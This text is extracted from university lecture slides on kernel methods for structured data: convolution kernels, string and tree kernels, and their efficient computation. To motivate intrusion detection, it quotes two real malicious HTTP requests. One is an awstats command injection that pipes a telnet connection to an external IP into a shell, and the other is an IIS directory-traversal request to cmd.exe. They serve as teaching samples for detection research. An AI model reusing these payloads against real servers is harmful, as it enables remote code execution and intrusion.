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Lecture 9Kernel Methods for Structured Inputs
Pavel Laskov1 Blaine Nelson1
1Cognitive Systems Group
Wilhelm Schickard Institute for Computer Science
Universitat Tubingen, Germany
Advanced Topics in Machine Learning, 2012
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 1 / 30
What We Have Learned So Far
r ∗
∗c∗
Learning problems are defined in terms of kernel functions reflecting thegeometry of training data.
What if the data does not naturally belong to inner product spaces?
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 2 / 30
Example: Intrusion Detection
> GET / HTTP/1.1\x0d\x0aAccept: */*\x0d\x0aAccept-Language: en\x0d
\x0aAccept-Encoding: gzip, deflate\x0d\x0aCookie: POPUPCHECK=1150521721386\x0d\x0aUser-Agent: Mozilla/5.0 (Macintosh; U; Intel
Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\x0d\x0aConnection: keep-alive\x0d\x0aHost: www.spiegel.de\x0d\x0a\x0d\x0a
> GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;sleep%207200%7ctelnet%20194%2e95%2e173%2e219%204321%7cwhile%20%3a%20%3b%20do%20sh%
20%26%26%20break%3b%20done%202%3e%261%7ctelnet%20194%2e95%2e173%2e219%204321;echo%20YYY;echo| HTTP/1.1\x0d\x0aAccept: */*\x0d\x0a
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\x0d\x0aHost: wuppi.dyndns.org:80\x0d\x0aConnection: Close\x0d\x0a\x0d\x0a
> GET /Images/200606/tscreen2.gif HTTP/1.1\x0d\x0aAccept: */*\x0d\x0aAccept-Language: en\x0d\x0aAccept-Encoding: gzip, deflate\x0d\x0a
Cookie: .ASPXANONYMOUS=AcaruKtUwo5mMjliZjIxZC1kYzI1LTQyYzQtYTMyNy03YWI2MjlkMjhiZGQ1; CommunityServer-UserCookie1001=lv=5/16/2006 12:
27:01 PM&mra=5/17/2006 9:02:37 AM\x0d\x0aUser-Agent: Mozilla/5.0(Macintosh; U; Intel Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\x0d\x0aConnection: keep-alive\x0d\x0aHost
: www.thedailywtf.com\x0d\x0a\x0d\x0a
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 3 / 30
Examples of Structured Input Data
Histograms
TreesS
VP
Jeff
V
ate
NP
D
the apple
N
N
NP1.
2.
3.
4. 5.
S
VP
John
V
hit
NP
D
the red
A
car
N
NP
N
1.
2.
3.
4. 5.
Strings
Graphs
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 4 / 30
Convolution Kernels in a Nutshell
Decompose structured objects into comparable parts.
Aggregate the values of similarity measures for individual parts.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 5 / 30
R-Convolution
Let X be a set of composite objects (e.g., cars), and X1, . . . , XD be setsof parts (e.g., wheels, brakes, etc.). All sets are assumed countable.
Let R denote the relation “being part of”:
R(x1, . . . , xD , x) = 1, iff x1, . . . , xD are parts of x
The inverse relation R−1 is defined as:
R−1(x) = {x : R(x, x) = 1}
In other words, for each object x , R−1(x) is a set of component subsets,that are part of x .
We say that R is finite, if R−1 is finite for all x ∈ X .
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 6 / 30
R-Convolution: A Naive Example
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 7 / 30
R-Convolution: A Naive Example
wheels
headlights
bumpers
transmission
differential
tow coupling
...
Alfa Romeo Junior Lada Niva
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 7 / 30
R-Convolution: Further Examples
Let x be a D-tuple in X = X1 × . . . × XD . Let each of the Dcomponents of x ∈ X be a part of x . Then R(x, x) = 1 iff x = x .
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 8 / 30
R-Convolution: Further Examples
Let x be a D-tuple in X = X1 × . . . × XD . Let each of the Dcomponents of x ∈ X be a part of x . Then R(x, x) = 1 iff x = x .
Let X1 = X2 = X be sets of all finite strings over a finite alphabet.Define R(x1, x2, x) = 1 iff x = x1 ◦ x2, i.e. concatenation of x1 and x2.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 8 / 30
R-Convolution: Further Examples
Let x be a D-tuple in X = X1 × . . . × XD . Let each of the Dcomponents of x ∈ X be a part of x . Then R(x, x) = 1 iff x = x .
Let X1 = X2 = X be sets of all finite strings over a finite alphabet.Define R(x1, x2, x) = 1 iff x = x1 ◦ x2, i.e. concatenation of x1 and x2.
Let X1 = . . . = XD = X be a set of D-degree ordered and rooted trees.Define R(x, x) = 1 iff x1, . . . , xD are D subtrees of the root of x ∈ X .
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 8 / 30
R-Convolution Kernel
Definition
Let x , y ∈ X and x and y be the corresponding sets of parts. LetKd (xd , yd ) be a kernel between the d -th parts of x and y (1 ≤ d ≤ D).Then the convolution kernel between x and y is defined as:
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
D∏
d=1
Kd (xd , yd )
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 9 / 30
Examples of R-Convolution Kernels
RBF kernel is a convolution kernel. Let each of the D dimensions of xbe a part, and Kd(xd , yd ) = e−(xd−yd)
2/2σ2. Then
K (x , y) =
D∏
d=1
e−(xd−yd )2/2σ2
= e−∑D
d=1(xd−yd)2/2σ2
= e−||x−y||2
2σ2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 10 / 30
Examples of R-Convolution Kernels
RBF kernel is a convolution kernel. Let each of the D dimensions of xbe a part, and Kd(xd , yd ) = e−(xd−yd)
2/2σ2. Then
K (x , y) =
D∏
d=1
e−(xd−yd )2/2σ2
= e−∑D
d=1(xd−yd)2/2σ2
= e−||x−y||2
2σ2
Linear kernel K (x , y) =∑D
d=1 xdyd is not a convolution kernel, exceptfor the trivial “single part” decomposition. For any other decomposition,we would need to sum products of more than one term, whichcontradicts the formula for the linear kernel.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 10 / 30
Subset Product Kernel
Theorem
Let K be a kernel on a set U × U. The for all finite, non-empty subsetsA,B ⊆ U,
K ′(A,B) =∑
x∈A
∑
y∈B
K (x , y)
is a valid kernel.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 11 / 30
Subset Product Kernel
Proof.
Goal: show that K ′(A,B) is an inner product in some space...
Recall that for any point u ∈ U, K (u, ·) is a function Ku in some RKHSH. Let fA =
∑
u∈A Ku, fB =∑
u∈B Ku . Define
〈fA, fB〉 :=∑
x∈A
∑
y∈B
K (x , y)
We need to show that it satisfies properties of an inner product... LetfC =
∑
u∈C Ku . Clearly,
〈fA + fC , fB〉 =∑
x∈A∪C
∑
y∈B
K (x , y) =∑
x∈A
∑
y∈B
K (x , y) +∑
x∈C
∑
y∈B
K (x , y)
Other properties of the inner product can be proved similarly.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 11 / 30
Back to the R-Convolution Kernel
Theorem
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
D∏
d=1
Kd (xd , yd )
is a valid kernel.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 12 / 30
Back to the R-Convolution Kernel
Proof.
Let U = X1 × . . .× XD . From the closure of kernels under the tensorproduct, it follows that
K (x, y) =
D∏
d=1
Kd (xd , yd )
is a kernel on U × U. Applying the Subset Product Kernel Theorem forA = R−1(x), B = R−1(y), the theorem’s claim follows.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 12 / 30
End of Theory ,
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 13 / 30
Convolution Kernels for Strings
Let x , y ∈ A∗ be two strings generated from the alphabet A. How can wedefine K (x , y) using the ideas of convolution kernels?
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 14 / 30
Convolution Kernels for Strings
Let x , y ∈ A∗ be two strings generated from the alphabet A. How can wedefine K (x , y) using the ideas of convolution kernels?
Let D = 1, take X1 to be the set of all possible strings of length n(“n-grams”) generated from the alphabet A. |X1| = |A|n.
For any x ∈ A∗ and any x ∈ X1, define R(x , x) = 1 iff x ⊆ x .
Then R−1(x) is a set of all n-grams contained in x .
Define K (x , y) = 1[x=y ].
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 14 / 30
Convolution Kernels for Strings
Let x , y ∈ A∗ be two strings generated from the alphabet A. How can wedefine K (x , y) using the ideas of convolution kernels?
Let D = 1, take X1 to be the set of all possible strings of length n(“n-grams”) generated from the alphabet A. |X1| = |A|n.
For any x ∈ A∗ and any x ∈ X1, define R(x , x) = 1 iff x ⊆ x .
Then R−1(x) is a set of all n-grams contained in x .
Define K (x , y) = 1[x=y ].
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
1[x=y ]
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 14 / 30
Convolution Kernels for Strings (ctd.)
An alternative definition of a kernel for two strings can be obtained asfollows:
Let D = 1, take X1 to be the set of all possible strings of arbitrarylength generated from the alphabet A. |X1| = ∞.
For any x ∈ A∗ and any x ∈ X1, define R(x , x) = 1 iff x ⊆ x .
Then R−1(x) is a set of all n-grams contained in x .
Define K (x , y) = 1[x=y ].
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
1[x=y ]
Notice that the size of the summation remains finite despite the infinitedimensionality of X1.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 15 / 30
Geometry of String Kernels
Sequences
1. blabla blubla blablabu aa
2. bla blablaa bulab bb abla
3. a blabla blabla ablub bla
4. blab blab abba blabla blu
Geometry
1
2 3
4
Subsequences
Features
Histograms of subsequencesa b aa
bb
bla
blu
ab
ba
ab
la
bla
b
ab
lub
bu
lab
bla
bla
bla
blu
bla
bla
a
bla
bla
bu
1.
2.
3.
4.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 16 / 30
Metric Embedding of Strings
Define the language S ⊆ A∗ of possiblefeatures, e.g., n-grams, words, allsubsequences.
For each sequence x , count occurrences ofeach feature in it:
φ : x −→ (φs(x))s∈S
Use φs(x) as the s-th coordinate of x in thevector space of dimensionality |S |.
Define K (x , y) := 〈φs(x), φs (y)〉. This is equivalent to K (x , y) definedby the convolution kernel!
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 17 / 30
Similarity Measure for Embedded Strings
Metric embedding enables application of various vectorial similaritymeasures over sequences, e.g.
Kernels K (x , y)
Linear∑
s∈S
φs(x)φs(y)
RBF exp(d(x , y)2/σ)
Similarity coefficients
Jaccard, Kulczynski, . . .
Distances d(x , y)
Manhattan∑
s∈S
|φs(x)− φs(y)|
Minkowski k
√
∑
s∈S
|φs(x) − φs(y)|k
Hamming∑
s∈S
sgn |φs(x) − φs(y)|
Chebyshev maxs∈S
|φs(x) − φs(y)|
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 18 / 30
Embedding example
X = abrakadabraY = barakobama
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 19 / 30
Embedding example
X = abrakadabraY = barakobama
X Y X · Y
a/5 a/4 20
b/2 b/2 4
d/1
k/1 k/1 1
m/1
o/1
r/2 r/1 2
5.92 4.90 27
∠XY = 21.5◦
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 19 / 30
Embedding example
X = abrakadabraY = barakobama
X Y X · Y
a/5 a/4 20
b/2 b/2 4
d/1
k/1 k/1 1
m/1
o/1
r/2 r/1 2
5.92 4.90 27
∠XY = 21.5◦
X Y X · Y
ab/2
ad/1
ak/1 ak/1 1
am/1
ar/1
ba/2
br/2
da/1
ka/1
ko/1
ma/1
ob/1
ra/2 ra/1 2
4.00 3.46 3
∠XY = 77.5◦
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 19 / 30
Implementation of String Kernels
General observations
Embedding space has huge dimensionality but is very sparse; at mostlinear number of entries are different from zero in each sample.
Computation of similarity measures requires operations on either theintersection or the union of the set of non-zero features in each sample.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 20 / 30
Implementation of String Kernels
General observations
Embedding space has huge dimensionality but is very sparse; at mostlinear number of entries are different from zero in each sample.
Computation of similarity measures requires operations on either theintersection or the union of the set of non-zero features in each sample.
Implementation strategies
Explicit but sparse representation of feature vectors
⇒ sorted arrays or hash tables
Implicit and general representations
⇒ tries, suffix trees, suffix arrays
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 20 / 30
String Kernels using Sorted Arrays
Store all features in sorted arrays
Traverse feature arrays of two samples to find mathing elements
φ(x)
φ(z)
aa (3)
ab (3)
ab (2)
ba (2)
bc (2)
bb (1)
cc (1)
bc (4)
Running time:
Sorting: O(n)Comparison: O(n)
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 21 / 30
String Kernels using Generalized Suffix Trees
2-grams “abbaa” “baaaa”
aa
ab
ba
bb
“abbaa” · “baaaa” = 0
a # $ b
a # $ bbaa# aa baa#
a # $ aa$ #
a$ $
6 6
3 4 2 1
1 3 1 1
0 2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 22 / 30
String Kernels using Generalized Suffix Trees
2-grams “abbaa” “baaaa”
aa 1 3
ab
ba
bb
“abbaa” · “baaaa” = 3
a # $ b
a # $ bbaa# aa baa#
a # $ aa$ #
a$ $
6 6
3 4 2 1
1 3 1 1
0 2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 22 / 30
String Kernels using Generalized Suffix Trees
2-grams “abbaa” “baaaa”
aa 1 3
ab 1 0
ba
bb
“abbaa” · “baaaa” = 3
a # $ b
a # $ bbaa# aa baa#
a # $ aa$ #
a$ $
6 6
3 4 2 1
1 3 1 1
0 2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 22 / 30
String Kernels using Generalized Suffix Trees
2-grams “abbaa” “baaaa”
aa 1 3
ab 1 0
ba 1 1
bb
“abbaa” · “baaaa” = 4
a # $ b
a # $ bbaa# aa baa#
a # $ aa$ #
a$ $
6 6
3 4 2 1
1 3 1 1
0 2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 22 / 30
String Kernels using Generalized Suffix Trees
2-grams “abbaa” “baaaa”
aa 1 3
ab 1 0
ba 1 1
bb 1 0
“abbaa” · “baaaa” = 4
a # $ b
a # $ bbaa# aa baa#
a # $ aa$ #
a$ $
6 6
3 4 2 1
1 3 1 1
0 2
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 22 / 30
Tree Kernels: Motivation
Trees are ubiquitous representations in various applications:
Parsing: parse treesContent representation: XML, DOMBioinformatics: philogeny
Ad-hoc features related to trees, e.g. number of nodes or edges, are notinformative for learning
Structural properties of trees, on the other hand, may be verydiscriminative
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 23 / 30
Example: Normal HTTP Request
GET /test.gif HTTP/1.1<NL> Accept: */*<NL> Accept-Language: en<NL>
Referer: http://host/<NL> Connection: keep-alive<NL>
<httpSession>
<request>
<method>
GET
<uri>
<path>
/test.gif
<version>
HTTP/1.1
<reqhdr>
<hdr>1
<hdrkey>
Accept:
<hdrval>
*/*
<hdr>2
<hdrkey>
Referer:
<hdrval>
http://host
<hdr>3
<hdrkey>
Connection:
<hdrval>
keep-alive
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 24 / 30
Example: Malicious HTTP Request
GET /scripts/..%%35c../cmd.exe?/c+dir+c:\ HTTP/1.0
<httpSession>
<request>
<method>
GET
<uri>
<path>
/scripts/..%%35c../.../cmd.exe?
<getparamlist>
<getparam>
<getkey>
/c+dir+c:\
<version>
HTTP/1.0
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 25 / 30
Convolution Kernels for Trees
Similar to strings, we can define kernels for trees using the convolutionkernel framework:
Let D = 1, X1 = X be sets of all trees. |X1| = |X | = ∞.
For any x ∈ X and any x ∈ X1, define R(x , x) = 1 iff x ⊆ x
⇒ x is a subtree of x
Then R−1(x) is a set of all subtrees contained in x .
Define K (x , y) = 1[x=y ].
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
1[x=y ]
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 26 / 30
Convolution Kernels for Trees
Similar to strings, we can define kernels for trees using the convolutionkernel framework:
Let D = 1, X1 = X be sets of all trees. |X1| = |X | = ∞.
For any x ∈ X and any x ∈ X1, define R(x , x) = 1 iff x ⊆ x
⇒ x is a subtree of x
Then R−1(x) is a set of all subtrees contained in x .
Define K (x , y) = 1[x=y ].
K (x , y) =∑
x∈R−1(x)
∑
y∈R−1(y)
1[x=y ]
/ Problem: Testing for equality between two trees may be extremelycostly!
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 26 / 30
Recursive Computation of Tree Kernels
Two useful facts:
Transitivity of a subtree relationship: x ⊆ x & x ⊆ x ⇒ x ⊆ x
Necessary condition for equality: two trees are equal only if all of theirsubtrees are equal.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 27 / 30
Recursive Computation of Tree Kernels
Two useful facts:
Transitivity of a subtree relationship: x ⊆ x & x ⊆ x ⇒ x ⊆ x
Necessary condition for equality: two trees are equal only if all of theirsubtrees are equal.
Recursive scheme
Let Ch(x) denote the set of immediate children of the root of (sub)tree x .|x | := |Ch(x)|.
If Ch(x) 6= Ch(y ) return 0.
If |x | = |y |, return 1.
Otherwise return
K (x , y) =
|x|∏
i=1
(1 + K (xi , yi))
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 27 / 30
Computation of Recursive Clause
Find a pair of nodes with identical subsets of children.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 28 / 30
Computation of Recursive Clause
Find a pair of nodes with identical subsets of children.
Add one for the nodes themselves (subtrees of cardinality 1).
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 28 / 30
Computation of Recursive Clause
Find a pair of nodes with identical subsets of children.
Add one for the nodes themselves (subtrees of cardinality 1).
Add counts for all mathing subtrees.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 28 / 30
Computation of Recursive Clause
Find a pair of nodes with identical subsets of children.
Add one for the nodes themselves (subtrees of cardinality 1).
Add counts for all mathing subtrees.
Multiply together and return the total count.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 28 / 30
Summary
Kernels for structured data extend learning methods to a vast variety ofpractical data types.
A generic framework for handling structured data is offered byconvolution kernels.
Special data structures and algorithms are needed for efficiency.
Extensive range of applications:
natural language processingbioinformaticscomputer security
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 29 / 30
Bibliography I
[1] M. Collins and N. Duffy. Convolution kernel for natural language. InAdvances in Neural Information Proccessing Systems (NIPS), volume 16,pages 625–632, 2002.
[2] D. Haussler. Convolution kernels on discrete structures. Technical ReportUCSC-CRL-99-10, UC Santa Cruz, July 1999.
[3] K. Rieck and P. Laskov. Linear-time computation of similarity measures forsequential data. Journal of Machine Learning Research, 9:23–48, 2008.
P. Laskov and B. Nelson (Tubingen) Lecture 9: Learning with Structured Inputs July 3, 2012 30 / 30
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